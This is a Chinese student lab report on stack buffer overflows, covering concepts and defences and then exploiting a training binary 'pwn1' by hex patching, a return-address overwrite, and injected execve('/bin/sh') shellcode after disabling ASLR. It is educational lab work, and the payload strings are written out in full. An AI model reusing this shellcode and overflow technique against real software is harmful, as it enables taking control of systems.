20212818 2021-2022-2 《网络攻防实践》实践九报告

一、实践内容

1、软件安全的概述

  定义:软件安全(Software Security)就是使软件在受到恶意攻击的情形下依然能够继续正确运行及确保软件被在授权范围内合法使用的思想。

  解决软件安全问题的根本方法就是改善我们建造软件的方式,以建造健壮的软件,使其在遭受恶意攻击时依然能够安全可靠和正确运行。

(1)软件安全的威胁

  软件安全威胁主要包括三个方面:

  • 软件自身安全(软件缺陷与漏洞)
  • 恶意软件攻击与检测
  • 软件逆向分析(软件破解)与防护。

(2)软件缺陷与漏洞

  软件缺陷(defect):又被称作Bug,是指计算机软件或程序中存在的某种破坏正常运行能力的问题、错误,或者隐藏的功能缺陷。缺陷的存在会导致软件产品在某种程度上不能满足用户的需要。
  漏洞:是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而使攻击者能够在未授权的情况下访问或破坏系统。
  软件漏洞:是指软件在设计、实现、配置策略及使用过程中出现的缺陷,其可能导致攻击者在未授权的情况下访问或破坏系统。

  

  软件缺陷和漏洞被触发后的威胁:

  • 软件正常功能被破坏
  • 系统被恶意控制

(3)恶意软件

 

  恶意软件:指那些设计目的是为了实施特定恶意功能的一类软件程序。
  最典型的恶意软件包括:计算机病毒、特洛伊木马、后门、僵尸、间谍软件等。

  

  系统被植入恶意软件后的威胁:

  • 已有软件的功能被修改或破坏
  • 目标系统中的重要数据被窃取
  • 目标系统中的用户行为被监视
  • 目标系统被控制

 

2、缓冲区溢出基本概念

(1)缓冲区概念  

  缓冲区定义:缓冲区又称为缓存 ,是内存空间的一部分。也就是说,在内存空间中预留了一定的存储空间,这些存储空间用来缓冲出入或输出的数据,这部分预留的空间就叫做缓冲区。

缓冲区的作用:缓冲区的作用是为了解决速度不匹配的问题,高速的cpu与内存,内存与硬盘,cpu与io等速度不匹配的问题,而引人缓冲区,比如我们从磁盘里读取信息,我们先把读出的数据放在缓冲区,计算机再直接从缓冲区中读取数据,等缓冲区的数据读取完后再去磁盘中读取,这样就可以减少磁盘的读写次数,再加上计算机对缓冲区的操作大大快于对磁盘的操作,故应用缓冲区可大大提高计算机的运行速度。
  缓冲区就是一块内存区,它用在输入输出设备和 CPU 之间,用来缓存数据。它使得低俗的输入输出设备和高速的CPU能够协调工作,避免低速的输入输出设备占用CPU。解放出CPU,使其能够高效率工作。
缓冲区的类型
  缓冲区分为三种类型:全缓冲、行缓冲和不带缓冲。

  • 全缓冲:在这种情况下,当填满标准 I/O 缓存后才进行实际I/O操作。全换冲的典型代表是对磁盘文件的读写。
  • 行缓冲:在这种情况下,当在输入和输出中遇到换行符时,执行真正的I/O操作。这时,我们输入的字符先存放在缓冲区,等按下回车键换行时才进行实际的I/O操作。典型代表是键盘输入数据。
  • 不带缓冲;不带缓冲也就是不进行缓冲,标准出错情况stderr是典型代表,这使得出错信息可以直接尽快地显示出来。

(2)缓冲区溢出

 

  缓冲区溢出是计算机程序中存在的一类内存安全违规类漏洞,在计算机程序向特定缓冲区填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏程序挂靠流程破坏系统运行完整性。理想情况下,程序应检查向缓冲区内写入的数据的长度,并不允许输入的数据长度超过缓冲区本身分配的空间容量。但是大量的程序问题假设数据长度是与所分配的存储空间是相匹配的,因而很容易产生缓冲区溢出漏洞。

  缓冲区溢出漏洞通常多见于C/C++语言程序中的memcpy()、strcpy()等内存与字符串复制函数。由于这些函数不检查内存越界的问题,而程序员一般也没有足够的安全编程意识、经验和技巧,对复制的电影票缓冲区普遍没有进行严格的边界安全保护,在这种情况下,缓冲区溢出攻击的流行就不足为怪了。

 

(3)缓冲区溢出漏洞攻击方式:

  • 在程序的地址空间里安排适当的代码

  在程序的地址空间里安排适当的代码往往是相对简单的。如果要攻击的代码在所攻击程序中已经存在了,那么就简单地对代码传递一些参数,然后使程序跳转到目标中就可以完成了。攻击代码要求执行“exec(‘/bin/sh’)”,而在libc库中的代码执行“exec(arg)”,其中的“arg”是个指向字符串的指针参数,只要把传入的参数指针修改指向“/bin/sh”,然后再跳转到libc库中的响应指令序列就可以了。当然,很多时候这个可能性是很小的,那么就得用一种叫“植入法”的方式来完成了。

  • 控制程序转移到攻击代码的形式

  缓冲区溢出漏洞攻击都是在寻求改变程序的执行流程,使它跳转到攻击代码,最为基本的就是溢出一个没有检查或者其他漏洞的缓冲区,这样做就会扰乱程序的正常执行次序。通过溢出某缓冲区,可以改写相近程序的空间而直接跳转过系统对身份的验证。原则上来讲攻击时所针对的缓冲区溢出的程序空间可为任意空间。但因不同地方的定位相异,所以也就带出了多种转移方式。

(4)缓冲区溢出的保护方法

  目前有四种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响:

  • 强制写正确的代码的方法

  编写正确的代码是一件非常有意义但耗时的工作,特别像编写C语言那种具有容易出错倾向的程序(如:字符串的零结尾),这种风格是由于追求性能而忽视正确性的传统引起的。尽管花了很长的时间使得人们知道了如何编写安全的程序,具有安全漏洞的程序依旧出现。因此人们开发了一些工具和技术来帮助经验不足的程序员编写安全正确的程序。虽然这些工具帮助程序员开发更安全的程序,但是由于C语言的特点,这些工具不可能找出所有的缓冲区溢出漏洞。所以,侦错技术只能用来减少缓冲区溢出的可能,并不能完全地消除它的存在。除非程序员能保证他的程序万无一失,否则还是要用到以下部分的内容来保证程序的可靠性能。

  • 通过操作系统使得缓冲区不可执行,从而阻止攻击者殖入攻击代码

  这种方法有效地阻止了很多缓冲区溢出的攻击,但是攻击者并不一定要殖入攻击代码来实现缓冲区溢出的攻击,所以这种方法还是存在很多弱点的。

  • 利用编译器的边界检查来实现缓冲区的保护

  这个方法使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁,但是相对而言代价比较大。

  • 在程序指针失效前进行完整性检查

3、Bof漏洞

(1)Bof的产生

  BoF 的产生,很多时候是程序员在写程序的过程中,使用了本身没有边界自测能力的函数或方法,这类函数或者方法,被称为 Unbounded Functions,因为程序员无法判断什么时候这些方法会停止读取或者写入内存。因此,如果没有很好的手动的边界检测代码,直接使用这些无边界方法,后果就是 BoF。
(2)Bof的种类

  BoF,Buffer Overflow 是所有溢出漏洞的统称。我们这篇文章在实践环节要讨论的,是基于栈的溢出(Stack Overflow)。我们来看一下 BoF 具体有哪些类型。

  • 栈溢出 Stack Overflow,基于栈的溢出,利用不安全方法,通过写入指定长度的数据到栈空间,从而做到对程序跳转地址的控制,执行恶意代码。
  • 堆溢出 Heap Overflow,基于堆的溢出,高级话题,我都不知道怎么总结,以后碰到的时候再做特定的深入。
  • 整数溢出 Integer Overflow,将 long 这样的整数存入 int 型的变量,造成的溢出。
  • 字符编码溢出 Unicode Overflow,将 Unicode 字符存入 ASCII 类型的变量,造成的溢出。

(3)Bof的应对策略

  • Memory Canary Value:Canary 是金丝雀,让我想起了 Android 中检测内存泄漏的工具叫 LeakCanary。为什么都喜欢用这个词?可能跟历史上用金丝雀在煤矿矿井中检测瓦斯泄露有关。说明金丝雀对于危险有一种警示的作用。因为大多数 BoF 攻击使用的方式是覆盖栈中的数据,所以 Memory Canary 的大致原理,就是栈中的某个位置,放入一段固定的数据。如果这段固定的数据被修改过,那么就判定程序收到了攻击,程序员可以采取相应的错误处理,退出程序。但是,Canary Value 无法完全解决问题,因为某些情况是,其值是可猜测的,有一些固定的字符,降低了 Canary Value 的熵(理解为随机性)。因此,攻击者只需要耐心尝试并找到 Canary Value,重新写入一样的值,即可绕过其保护机制。
  • NX & DEP:BoF 攻击中,恶意代码会被植入到栈中或者内存的某一位置,让 CPU 去执行。因此,在硬件层面,NX(Linux) 和 DEP(WIndows)允许操作系统标识某一内存区域(尤其是栈)为 non-executable,意思是非执行区域,那么 CPU 就不会去执行这块内存区域的任何指令。但问题是,不是所有的程序都认这一点。有些程序,就是要把指令放到栈中去执行,而且还是很重要的程序。所以,这种情况还是给攻击者留下了漏洞。攻击者找到这些知名的必须在栈中执行指令的程序,利用他们固定的方法 return 地址,来执行恶意操作。这样的技巧,被称为 Return-Oriented Programming(ROP)。
  • ASLR:为了解决上述 ROP 的问题,Address Space Layout Randomization (ASLR) 诞生。ASLR 可以随机指令在内存中的地址,让 ROP 无法找到准确的指令位置,从而防止攻击。又但是,ASLR 有同样的问题,不是所有的程序都很好的支持 ASLR,并且,ASLR 有时候还会愚蠢地将随机的地址保存到特定的位置,又给攻击者留下了操作空间。

二、实践过程

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  • 三个实践内容如下:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    • 注入一个自己制作的shellcode并运行这段shellcode。

 

 

任务一:

  手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

  反汇编pwn1程序文件,命令为:objdump -d pwn1,查看main函数。

   接下来需要把main函数中的调用foo函数变为调用getShell,即将call foo那一行换成call getShell。d7 ff ff ff ( 8048491-80484ba =d7 ff ff ff )表示调用foo函数,我们需要该其改为c3 ff ff ff (804847d-80484ba =c3 ff ff ff )表示调用getShell函数。

  让pwn1文件内容显示出来,命令为:vi pwn1。

 

  使文件内容以16进制形式展现,命令为:%!xxd。

 

 

   查找我们需要修改的内容:我们需要将d7 ff ff ff 改为c3 ff ff ff。即将其中的d7修改为c3。定位到d按下r然后按c,定位到7按下r然后按3,即修改成功。

   还原pwn1文件,命令为:%!xxd -r ,然后保存文件后执行pwn1。

  再次反汇编pwn1文件,命令为:objdump -d pwn1,查看main函数,可以发现foo函数已经变为getShell函数。

   执行pwn1文件,命令为:./pwn1,文件成功执行。

 

 任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

  反汇编pwn1文件,命令为 objdump -d pwn1 ,可以看到 pwn1中所有的函数,包括getshell、foo、main。可以知道如果程序正常执行,会执行函数foo。foo函数的功能:将用户的输入再次输出。所以这里我们可以利用BOF漏洞,通过缓冲区溢出攻击的方式触发getshell函数。当foo函数的返回地址是0x080484ba,即foo函数执行完后会调用的下一条指令地址为0x080484ba。我们只需将这个地址替换为getshell函数的入口地址,就可以触发getshell函数。

 

   首先安装gdb,后面会用到。

 

  使用安装好的gdb调试分析pwn1 ,命令为gdb pwn1。

 

  运行这个文件 ,命令为:r。

 

   输入字符串,输入较短字符串时,程序可以正常结束运行,但是输入字符串较长时,会出现段错误。

 

       我们让它显示具体信息,命令为info r,可以看到现在EIP的内容是0x33333333。

 

   生成input文件,并设置特定的输入串,命令为:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

 

   通过命令ls查看当前目录下的文件,确定input文件已成功生成。查看input文件的16进制信息,命令为:xxd input。

 

   将input文件设置为文件pwn1的输入,命令为(cat input; cat ) | ./pwn1。

 

 任务三:注入一个自己制作的shellcode并运行这段shellcode

  新建一个文件夹3,复制粘贴一个未经改动的pwn1文件。

  安装execstack,首先将安装包放进打开终端的地方,然后输入命令:sudo apt-get install ./execstack_0.0.20131005-1+b10_amd64.deb

  将pwn1文件设置为堆栈可执行,命令为:execstack -s pwn1。

 

 

   查询文件pwn1的堆栈是否可执行,命令为:execstack -q pwn1

  查询是否关闭地址随机化,命令为:more /proc/sys/kernel/randomize_va_space。

 

 

  将地址随机化关闭,命令为:echo "0" > /proc/sys/kernel/randomize_va_space。这里最初没有进入root模式,导致命令被拒绝执行了,使用命令su进入root模式再执行就可以了。

 

 

   然后我们再次查询地址随机化状态,看其是否关闭,命令为:more /proc/sys/kernel/randomize_va_space。通过对比可以看见,随机化状态已经关闭了。

 

 

  生成新的输入程序input_shellcode,命令为:perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

 

 

  并将input_shellcode的命令作为pwn1文件的输入,同时运行pwn1程序。命令为:(cat input_shellcode;cat) | ./pwn1。

 

 

  再打开一个窗口,查看pwn1运行的进程号,命令为:ps -ef | grep pwn1,由图可知,进程号为75910。

  接下来我们调试进程75910,输入gdb开始调试,再输入命令attach 75910调试进程75910。然后获取foo函数的汇编地址,命令为:disassemble foo,在最后一行获取到它的ret地址为0*080484ae。

 

 

  在ret函数处设置断点,命令为:break *0x080484ae。

 

 

   然后让程序继续运行,命令为c,然后在运行pwn1的终端点回车。然后在调试的终端,程序遇到断点会停止运行。

 

 

 

 

 

  此时查看栈顶元素,命令为:info r esp。

 

 

 

  查看栈顶地址xcffffd14c所存放的数据,命令为:x/16x 0xffffd14c。

 

 

   计算d14c+4=d150,所以查看地址0xffffd150的数据,命令为:x/16x 0xffffd150,得知其为shellcode内容。

 

 

  制作shellcode,根据地址0xffffd150修正后的命令为:perl -e 'print "A" x 32;print "\x50\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode。

       再次将input_shellcode的命令作为pwn1文件的输入,同时运行pwn1程序。命令为:(cat input_shellcode;cat) | ./pwn1,由下图可见,程序成功运行。              

三、学习中遇到的问题及解决

问题:在任务一中修改foo函数为getShell了之后,运行pwn1文件失败,打开root模式之后运行仍然失败,显示请求拒绝执行,如下图所示。

解决办法:给文件pwn1加执行权限,命令为:chmod +x pwn1,然后再次运行则运行成功。

四、实践总结

   这次实验比想象中花费时间,但学习到的东西也很多,比如知道了Bof漏洞,以及如何利用Bof漏洞进行攻击,更加熟悉了函数的调用与运行,并查找了函数的返回地址进行替换等,对linux的基本操作指令也更加熟悉,并学习到了新的操作命令,收获还是挺大的,希望自己在接下来的学习中更加快速准确地完成实践内容。

posted @ 2022-05-15 17:22  蔡蔡文姬  阅读(139)  评论(0编辑  收藏  举报